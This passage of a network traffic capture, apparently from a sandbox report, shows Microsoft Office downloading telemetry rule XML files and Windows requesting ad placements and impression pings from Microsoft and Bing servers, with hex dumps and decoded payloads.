<?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.6	49889	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:49 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:50 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:49 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 3b3ce442-a01e-001e-3708-3d49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044649Z-178bfbc474bpscmfhC1NYCfc2c00000005f000000000kpvg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:46:50 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.6	49890	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:49 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:50 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:49 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 8d96ff29-301e-0020-36b1-3b6299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044649Z-15b8b599d88g5tp8hC1TEByx6w00000005f0000000005krt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:46:50 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.6	49891	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:49 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:50 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:49 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 05eafd34-a01e-00ab-40c7-3e9106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044649Z-178bfbc474bnwsh4hC1NYC2ubs0000000750000000000scv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:46:50 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.6	49892	20.103.156.88	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:49 UTC	2591	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=88000045&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241125T044646Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=3d8a480e2c7c4ca08a16ac9fe2b2229b&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=600388&metered=false&nettype=ethernet&npid=sc-88000045&oemName=ydvpvu%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=ydvpvu20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=600388&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1& [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAay3PZhKuCkrPSyBC+K7jS3lqIgx8Fbh3P99oi5sRGvkmbvl2RGH4X2qzx1UdEdBUw9sFgvhNPCRd/vl7bxUKzV4sEzwTLWEkQ/dntSf4KvoW7ZBXGfu/oDdzIJTlyLzUWWtV2diANnBGjU9MnwzFQ6qNVHxZrBzQJUrzIJalVCOgQPea/AReTYEo0YNIZNffKvav7hxXhm5deBNslSLDuHAfnLcx/DpC5Q4TWiL80qk9/KgM7D9WmClKcQMerHwQLX+Iq20oi8kPFwASv0aOjJhF5A4W/PAEqtLCwJABrwr/fOzy6fB7ugjEV53NE7TiNDkhQZ6Hcpa0zkoG8di34AQZgAAEJZf5Y8wCICPvPK+lWhfMliwAQLru2vWpGnoTiAh+ZkVhtnGcXTenkKJfOx0+xNu3wXZbOu/CUaA9/+UB2RQ8nrA3J63lkzNtHGL4iPuXeJG34Ij/KzxMz/lhbvDfH2KsWL5MOMm50sgZJFcomS7VuhaSIvNd/oRxxxdeC2EyqJ3Fpoql3OvT3w3apYaRmi5/YYIwJ+mFFYiIasYr2MztIp2MvEScVARIB6C/zIG17xuvU2IedZDF261TYv4DOL/V3sl4MXgagdeV8qpa3QvSTA+2XEVqRCNkWytoLY0KdTnLKvMkJwhluD7KnyKN9hgEGP6nnYwo/wqcOpt/yvcxM4D7Fb6OMt5wh+6rx5bybn+42jMLdQtn1vULEH+7Wdu9WEKb+pgY8a6f5yB6wamUhui+Ad7szIBR8r04ZwzuebMGEzUx8uiwqPwfvP/176HaRFxs2bGn1qSHvXgFfrLLn9R/xChp26GwWciHc9xleM7JeQZ67xvMKoBEUfLrOrcPmWN2O/RRJp+RJtvFCQ1pqcZl1oGlOxjjEDsO53us0k9MdRg2liTXjY0w0Ua2xPTU2pImvd4HY183+u12oJVumFcN9cB&p= Cache-Control: no-cache MS-CV: Z+JJd683IUawsNQV.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-25 04:46:50 UTC	955	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2945 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P425116216-T1-C128000000001627409+B+P10+S1"},{"OPTOUTSTATE":"65792"},{"REGIONALPOLICY":"1"}] X-ARC-SIG: e1bX9ZbHPcBblPT0GXcwG7HEx7O5zV0xxV1KTRiKybdbe24iSvyRsPiFQM6qaD89wLBPXOdm6Cj+YJ7KDUEQyXNKx2R1pXPv8uLSUWccykYbXIYNhLu1BYWlThFFw9OIaSyQcG4W8+Qke4b0lPPkpdmAZYNcQFFwFLweU50ZMBLnAFL2m2UbssssFVRvq4a56dU6C1rEJzb2T9CDQnB5Gwicbu1SB/2qx//jmifK49z2QRWzzUDoBH5p4HYgn1PaFQ7SqWOFxeqoiTCx9DhaAkoKgCv/IctIUX+BM6/UGng6xJV3pwwm4PBg0XT6X0MvlyJiu78lKZz64mRpljLEXA== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Mon, 25 Nov 2024 04:46:49 GMT Connection: close
2024-11-25 04:46:50 UTC	2945	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.6	49893	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:49 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:50 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:49 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 07e1bf82-901e-0029-4cbf-3e274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044649Z-178bfbc474btrnf9hC1NYCb80g000000072000000000ekgp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 04:46:50 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.6	49894	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:50 UTC	794	OUT	GET /neg/0?action=impression&rlink=https%3A%2F%2Fwww.bing.com%2Faclick%3Fld%3De8EmjhgaQN_3yGIVB2BzCR1DVUCUxBSFS6pnRVdMjzaZhjutNyiKmn2y0Xpy4vRteegtNnhgWbsdTBwyTqPqLaWueC7jOQSdNifEZH6l-mseXq_4I-12iyczjNd2pVWTDiakaO-ZCge5TzSLhg_Na4rFMqpGu1hkmeb4mZqQnSe3bCWk5S%26u%3DbWljcm9zb2Z0LWVkZ2UlM2FodHRwcyUzYSUyZiUyZnd3dy5taWNyb3NvZnQuY29tJTJmbWljcm9zb2Z0LTM2NSUyZmZyZWUtb2ZmaWNlLW9ubGluZS1mb3ItdGhlLXdlYiUzZm9jaWQlM2RjbW01enF4NmxxMA%26rlid%3D6349388a3f1a17c2cfc95fce3e012b0d&TIME=20241125T044646Z&CID=531098720&EID=531098720&tids=15000&adUnitId=11730597&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: g.bing.com Connection: Keep-Alive
2024-11-25 04:46:50 UTC	862	IN	HTTP/1.1 204 No Content Cache-Control: no-cache, must-revalidate Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Set-Cookie: MUID=1CB5F00CB9A36D683AD1E54EB88A6C62; domain=.bing.com; expires=Sat, 20-Dec-2025 04:46:50 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: MR=0; domain=g.bing.com; expires=Mon, 02-Dec-2024 04:46:50 GMT; path=/; SameSite=None; Secure; Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 8B89458257AD48C89A8BA79A081F0B8D Ref B: EWR30EDGE0215 Ref C: 2024-11-25T04:46:50Z Date: Mon, 25 Nov 2024 04:46:50 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.6	49900	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:51 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:52 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:52 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: b3049c5e-001e-0082-330c-3d5880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044652Z-178bfbc474bp8mkvhC1NYCzqnn00000006s000000000dtv7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 04:46:52 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.6	49899	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:51 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:52 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:52 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 93e7400e-201e-0003-07ae-3ef85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044652Z-178bfbc474bxkclvhC1NYC69g400000006tg00000000kg98 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:46:52 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.6	49902	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:51 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:52 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:52 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: ceab71a5-101e-0017-2bd0-3e47c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044652Z-178bfbc474brk967hC1NYCfu6000000006vg000000001xnu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:46:52 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.6	49901	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:51 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:52 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:52 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 8d306870-001e-0049-49bf-3e5bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044652Z-15b8b599d88tmlzshC1TEB4xpn00000005c0000000007633 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:46:52 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 